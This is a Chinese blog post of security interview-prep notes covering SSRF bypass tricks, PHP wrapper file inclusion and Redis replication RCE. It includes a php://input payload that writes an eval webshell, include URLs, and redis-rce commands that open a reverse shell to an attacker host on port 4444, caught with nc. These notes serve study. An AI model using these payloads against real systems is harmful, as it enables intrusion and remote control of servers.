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        <h3 id="SSRF的利用"><a href="#SSRF的利用" class="headerlink" title="SSRF的利用"></a>SSRF的利用</h3><p>发现直接不提了</p>
<h5 id="功能："><a href="#功能：" class="headerlink" title="功能："></a>功能：</h5><ol>
<li><p>内网端口刺探</p>
</li>
<li><p>内网http流量带出</p>
</li>
<li><p>任意文件下载，可能的利用，在curl导致</p>
<p><img src="/2020/02/17/一些面试题的了解/1581943216814.png" alt="1581943216814"></p>
</li>
</ol>
<h5 id="支持的伪协议"><a href="#支持的伪协议" class="headerlink" title="支持的伪协议"></a>支持的伪协议</h5><p>若由curl导致的SSRF，则其支持的伪协议有 dict, file, ftp, ftps, gopher, http, https, imap, imaps, ldap, pop3, pop3s, rtsp, scp, sftp, smtp, smtps, telnet, tftp 。我们再来看几个常见的，例如 dict 字典协议，这个协议可以获取到指定端口的一些信息。</p>
<p>具体可使用curl -V查看（php）</p>
<p>若在JAVA </p>
<p>从<code>import sun.net.www.protocol</code>可以看到，支持以下协议</p>
<blockquote>
<blockquote>
<pre><code>**file ftp mailto http https jar netdoc**</code></pre><p>如果发起网络请求的类是带HTTP开头，那只支持HTTP、HTTPS协议。</p>
<p>比如：</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&gt; &gt; HttpURLConnection</span><br><span class="line">&gt; &gt; HttpClient</span><br><span class="line">&gt; &gt; Request</span><br><span class="line">&gt; &gt; okhttp</span><br><span class="line">&gt; &gt;</span><br></pre></td></tr></table></figure>
</blockquote>
</blockquote>
<blockquote>
<blockquote>
<p>如果用以下类的方法发起请求，则支持<code>sun.net.www.protocol</code>所有协议</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&gt; &gt; URLConnection</span><br><span class="line">&gt; &gt; URL</span><br><span class="line">&gt; &gt;</span><br></pre></td></tr></table></figure>
</blockquote>
</blockquote>
<blockquote>
<blockquote>
<p>参照：<a href="https://xz.aliyun.com/t/206/" target="_blank" rel="noopener">https://xz.aliyun.com/t/206/</a></p>
<p>具体原因不同的函数支持的传入参数不一致。具体代码举例跳过。</p>
<p>SSRF正则表达式检测：</p>
<p><strong>(?:HttpURLConnection)|(?:URLConnection)|(?:ImageIO)|(?:Request.Get)|(?:.openStream)|(?:OkHttpClient))|(?:HttpClients)</strong></p>
</blockquote>
</blockquote>
<h5 id="绕过"><a href="#绕过" class="headerlink" title="绕过"></a>绕过</h5><ul>
<li><p>IP进制转换（<a href="http://2018466589）" target="_blank" rel="noopener">http://2018466589）</a></p>
</li>
<li><p>@前缀绕过（<a href="http://good.com@evil.com）" target="_blank" rel="noopener">http://good.com@evil.com）</a></p>
</li>
<li><p>DNS解析绕过(<a href="http://good.com.xip.io" target="_blank" rel="noopener">http://good.com.xip.io</a>/)</p>
</li>
</ul>
<p><img src="/2020/02/17/一些面试题的了解/1581943469141.png" alt="1581943469141"></p>
<h3 id="PHP伪协议"><a href="#PHP伪协议" class="headerlink" title="PHP伪协议"></a>PHP伪协议</h3><p>应该说这里的利用属于任意文件包含内容</p>
<p><img src="/2020/02/17/一些面试题的了解/1581944615448.png" alt="1581944615448"></p>
<p>这里不提直接包含法（利用其它文件上传+包含点形成shell   使用zip或者phar伪协议即可）</p>
<h4 id="allow-url-include-On"><a href="#allow-url-include-On" class="headerlink" title="allow_url_include=On"></a>allow_url_include=On</h4><h4 id="allow-url-fopen-On"><a href="#allow-url-fopen-On" class="headerlink" title="allow_url_fopen=On"></a>allow_url_fopen=On</h4><p>​    data://text/plain,<?php phpinfo();?></p>
<p>​    test/plain, 后面的值会被当做php代码执行</p>
<h4 id="allow-url-include-On-1"><a href="#allow-url-include-On-1" class="headerlink" title="allow_url_include=On"></a>allow_url_include=On</h4><h4 id="allow-url-fopen-Off"><a href="#allow-url-fopen-Off" class="headerlink" title="allow_url_fopen=Off"></a>allow_url_fopen=Off</h4><p>先使用php://input在POST的body写为  &lt;?php fputs(fopen(‘/root/hello/shell.php’,’w’),’&lt;?php @eval($_POST[v]);?&gt;’)?&gt;   </p>
<p>在使用filter连接该php来执行（不用知道网站绝对路径）</p>
<p>PS: 将POST输入流当做PHP代码执行。其只受   allow_url_include参数的影响，allow_url_fopen开关与此伪协议无关。</p>
<figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#file</span></span><br><span class="line">http:<span class="comment">//xxxxx/test.php?file=file:///root/hello/shell.php</span></span><br><span class="line"><span class="meta">#php:<span class="comment">//filter</span></span></span><br><span class="line">http:<span class="comment">//xxxxx/test.php?file=php://filter/resource=/root/hello/shell.php</span></span><br></pre></td></tr></table></figure>

<h4 id="allow-url-include-Off"><a href="#allow-url-include-Off" class="headerlink" title="allow_url_include=Off"></a>allow_url_include=Off</h4><h4 id="allow-url-fopen-On-1"><a href="#allow-url-fopen-On-1" class="headerlink" title="allow_url_fopen=On"></a>allow_url_fopen=On</h4><p>只能使用　php://filter伪协议来读文件再进行下一步了。</p>
<h3 id="Redis主从复制"><a href="#Redis主从复制" class="headerlink" title="Redis主从复制"></a>Redis主从复制</h3><p>假设只有redis服务，没有ssh等服务（docker），比起以前的写文件利用方式来说，这种利用方式更为通用，危害也更大。</p>
<h5 id="主从复制："><a href="#主从复制：" class="headerlink" title="主从复制："></a>主从复制：</h5><p>主从模式就是指使用一个redis实例作为主机，其他实例都作为备份机，其中主机和从机数据相同，而从机只负责读，主机只负责写，通过读写分离可以大幅度减轻流量的压力，算是一种通过牺牲空间来换取效率的缓解方式。</p>
<h5 id="模块功能"><a href="#模块功能" class="headerlink" title="模块功能"></a>模块功能</h5><p>在Reids 4.x之后，Redis新增了模块功能，通过外部拓展，可以实现在redis中实现一个新的Redis命令，通过写c语言并编译出.so文件</p>
<p>要求   <strong>在redis.conf文件里关闭保护模式</strong></p>
<p>redis-cli -h 192.168.119.155</p>
<blockquote>
<p>redis command:》slaveof 192.168.119.158 6379</p>
</blockquote>
<p>连接redis表明主从状态</p>
<p>利用  直接脚本编译拿回显shell</p>
<p>git clone <a href="https://www.lizenghai.com/archives/https%3A%2F%2Fgithub.com%2FRicterZ%2FRedisModules-ExecuteCommand" target="_blank" rel="noopener">https://github.com/RicterZ/RedisModules-ExecuteCommand</a></p>
<p>make</p>
<p>生成so文件（模块功能）</p>
<p><img src="/2020/02/17/一些面试题的了解/1581946333563.png" alt="1581946333563"></p>
<p>git clone <a href="https://github.com/Ridter/redis-rce" target="_blank" rel="noopener">https://github.com/Ridter/redis-rce</a></p>
<p>然后执行exp脚本</p>
<p>python redis-rce.py -r 192.168.119.155 -L 192.168.119.158 -f module.so</p>
<p><img src="/2020/02/17/一些面试题的了解/1581946369514.png" alt="1581946369514"></p>
<p>默认反弹在-L参数的4444端口  使用nc接shell就行。</p>
<h3 id="location-href-search-hash区别"><a href="#location-href-search-hash区别" class="headerlink" title="location.href   .search   .hash区别"></a>location.href   .search   .hash区别</h3><p>.href  取全部的连接</p>
<p>.search  取?以及后面的部分</p>
<p>.hash   取#以及#后面的部分（不经过服务器）</p>

      
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  <p><span>本文标题:</span>一些面试题的了解</p>
  <p><span>文章作者:</span>laker</p>
  <p><span>发布时间:</span>2020年02月17日 - 20:36:51</p>
  <p><span>最后更新:</span>2020年02月18日 - 17:54:31</p>
  <p><span>原始链接:</span><a href="/2020/02/17/一些面试题的了解/" title="一些面试题的了解">http://laker.xyz/2020/02/17/一些面试题的了解/</a>
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